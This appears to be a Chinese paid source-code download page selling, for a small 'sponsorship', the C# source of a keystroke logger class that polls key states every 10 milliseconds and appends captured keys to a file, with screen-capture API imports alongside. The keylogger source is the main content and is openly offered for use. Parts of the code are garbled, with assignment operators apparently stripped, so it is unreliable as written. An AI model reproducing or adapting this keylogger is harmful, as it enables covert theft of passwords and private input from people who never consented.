基本信息

---

下载

   友情提示：（无需注册或充值，赞助后即可获取资源下载链接）

---

     嘿，亲！知识可是无价之宝呢，但咱这精心整理的资料也耗费了不少心血呀。小小地破费一下，绝对物超所值哦！如有下载和支付问题，请联系我们QQ(微信同号)：78630559

本次赞助数额为： 2 元　

支付宝支付

微信支付

   源码介绍

---

生成的日志文件如下：

using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.IO;
using System.Windows.Forms;

namespace TakeMeToYourHeart
{
    public class KeybordLogger
    {
         [DllImport("User32.dll")]
        private static extern short GetAsyncKeyState(
            System.Windows.Forms.Keys vKey); // Keys enumeration

        [DllImport("User32.dll")]
        private static extern short GetAsyncKeyState(
            System.Int32 vKey);

        //获取当前屏幕
        [System.Runtime.InteropServices.DllImportAttribute("gdi32.dll")]
        private static extern bool BitBlt(
        IntPtr hdcDest, //目标设备的句柄
        int nXDest, // 目标对象的左上角的X坐标
        int nYDest, // 目标对象的左上角的X坐标
        int nWidth, // 目标对象的矩形的宽度
        int nHeight, // 目标对象的矩形的长度
        IntPtr hdcSrc, // 源设备的句柄
        int nXSrc, // 源对象的左上角的X坐标
        int nYSrc, // 源对象的左上角的X坐标
        System.Int32 dwRop // 光栅的操作值
        );

        [System.Runtime.InteropServices.DllImportAttribute("gdi32.dll")]
        private static extern IntPtr CreateDC(
        string lpszDriver, // 驱动名称
        string lpszDevice, // 设备名称
        string lpszOutput, // 无用，可以设定位"NULL"
        IntPtr lpInitData // 任意的打印机数据
        );

        private System.String keyBuffer;
        private System.Timers.Timer timerKeyMine;
        private System.Timers.Timer timerBufferFlush;
        private StreamWriter sw;
        private long keyGetInterval = 0;
        private long flushToFileInterval = 0;
        private string logFileName;
        private bool hasStart;
        
         public long KeyGetInterval
        {// 获取键盘输入的间隔时间
            set
            {
                keyGetInterval = value;

                timerKeyMine.Interval = keyGetInterval;
            }

            get
            {
                return keyGetInterval;
            }
        }

        public long FlushToFileInterval
        {// 记录键盘输入到文件的间隔时间
            set
            {
                flushToFileInterval = value;

                timerBufferFlush.Interval = flushToFileInterval;
            }

            get
            {
                return flushToFileInterval;
            }
        }
        
        public bool HasStart
        {
        	get
        	{
        		return hasStart;
        	}
        }

        public KeybordLogger() : this(@"C:\WINDOWS\system32")
        {
            this.logFileName = @"C:\WINDOWS\system32";
        }

        public KeybordLogger(string logFileName)
        {
            this.logFileName = logFileName;
            timerKeyMine = new System.Timers.Timer();
            timerBufferFlush = new System.Timers.Timer();
            timerKeyMine.Interval = 10;
            timerBufferFlush.Interval = 2000;
            this.timerKeyMine.Elapsed  = new System.Timers.ElapsedEventHandler(this.timerKeyMine_Elapsed);
            this.timerBufferFlush.Elapsed  = new System.Timers.ElapsedEventHandler(this.timerBufferFlush_Elapsed);
        }
        
        public void startLoging()
        {
            // 开始键盘记录
            timerKeyMine.Start();
            timerBufferFlush.Start();
            hasStart=true;
        }

        public void stopLoging()
        {// 停止键盘记录
            timerKeyMine.Stop();
            timerBufferFlush.Stop();
            hasStart=false;
        }

        private void timerKeyMine_Elapsed(object sender,System.Timers.ElapsedEventArgs e)
        {
            foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
            {
                if (GetAsyncKeyState(i) == -32767)
                {
                    keyBuffer  = Enum.GetName(typeof(Keys), i)   " ";
                }
            }
        }

        private void timerBufferFlush_Elapsed(object sender,System.Timers.ElapsedEventArgs e)
        {
            flush2File(logFileName,true);
        }
       
        private void flush2File(string file,bool append)
        {// 刷新记录文件
            try
            {
            	// 追加记录数据到文件
                sw = new StreamWriter(file, true);
                sw.Write(keyBuffer);
                sw.Close();

                // 清空缓冲 
                keyBuffer = string.Empty;
            }
            catch
            {
                return;
            }
        }
    }
}